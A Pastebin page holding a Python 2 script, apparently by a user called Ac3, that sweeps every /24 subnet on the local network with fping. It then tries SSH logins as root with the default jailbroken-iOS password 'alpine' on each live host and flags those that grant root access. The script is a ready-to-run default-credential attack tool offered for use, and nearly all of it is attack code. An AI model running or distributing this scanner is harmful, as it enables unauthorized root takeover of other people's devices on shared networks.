Advertisement
Guest User

Untitled

a guest
Jul 5th, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.93 KB | None | 0 0
  1. #Jailbroken iPod default password scanner, make sure you install fping & paramiko
  2. #Written in Ubuntu by Ac3
  3.  
  4. import paramiko
  5. import os
  6.  
  7. ssh = paramiko.SSHClient()
  8. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.  
  10. subnet = os.popen("ifconfig").read().split("inet addr:")[2].split()[0]
  11. print '[It appears your subnet is ' + subnet + ']'
  12. #find hosts on LAN
  13. print '[Scanning...]'
  14.  
  15.  
  16. #fping 171.17.0/24.0/24
  17.  
  18. count = 12
  19. def run():
  20.     global count
  21.     if count == 255:
  22.     return
  23.     s_count = str(count)
  24.     os.popen("fping -a -g "+subnet.split(".")[0]+"."+subnet.split(".")[1]+"."+s_count+".0/24 > temp"+s_count)
  25.     count = count+1
  26.     run()
  27. run()
  28. print "[Merging...]"
  29.  
  30. count = 12
  31.  
  32. def merge():
  33.     global count
  34.     s_count = str(count)
  35.     x = open("temp"+s_count, "r")
  36.     contents = x.read().split('\n')
  37.     x.close()
  38.     x = open("merge", "a")
  39.     for f in contents:
  40.     if f == "":
  41.         continue
  42.     x.write(f+'\n')
  43.     x.close()
  44.     count = count + 1
  45.    
  46.     try:
  47.     merge()
  48.     except:
  49.     pass
  50.    
  51. merge()
  52.  
  53. print '[Cleaning up...]'
  54. os.system("rm temp*")
  55.  
  56. file = open('merge', 'r')
  57. ip_list = file.read().split("\n")
  58. file.close()
  59. ip_length = len(ip_list)-1
  60. os.system("rm merge")
  61. count = 0
  62.  
  63. print "[Testing " +str(ip_length)+ " hosts]"
  64.  
  65. #test all the hosts
  66. def scan():
  67.     global count
  68.    
  69.     if count == ip_length:
  70.     return
  71.     try:
  72.    
  73.     ip_list[count] = ip_list[count].replace(" ","")
  74.     print "Trying ["+ip_list[count]+"]"
  75.     ssh.connect(ip_list[count], username="root", password="alpine")
  76.     stdin, stdout, stderr = ssh.exec_command("whoami")
  77.     if stdout.read().split("\n")[0] == "root":
  78.         try:
  79.         o = open("root.tmp", "w")
  80.         o.write("ROOT ACCESS HOST="+ip_list[count])
  81.         o.close()
  82.         os.system("gedit root.tmp")
  83.         except:pass
  84.         raw_input("ROOT ACCESS, HOST="+ip_list[count])
  85.        
  86.     else:
  87.         ssh.close()
  88.     except:pass
  89.     count = count + 1
  90.     scan()
  91.    
  92.    
  93. scan()
  94.    
  95. exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement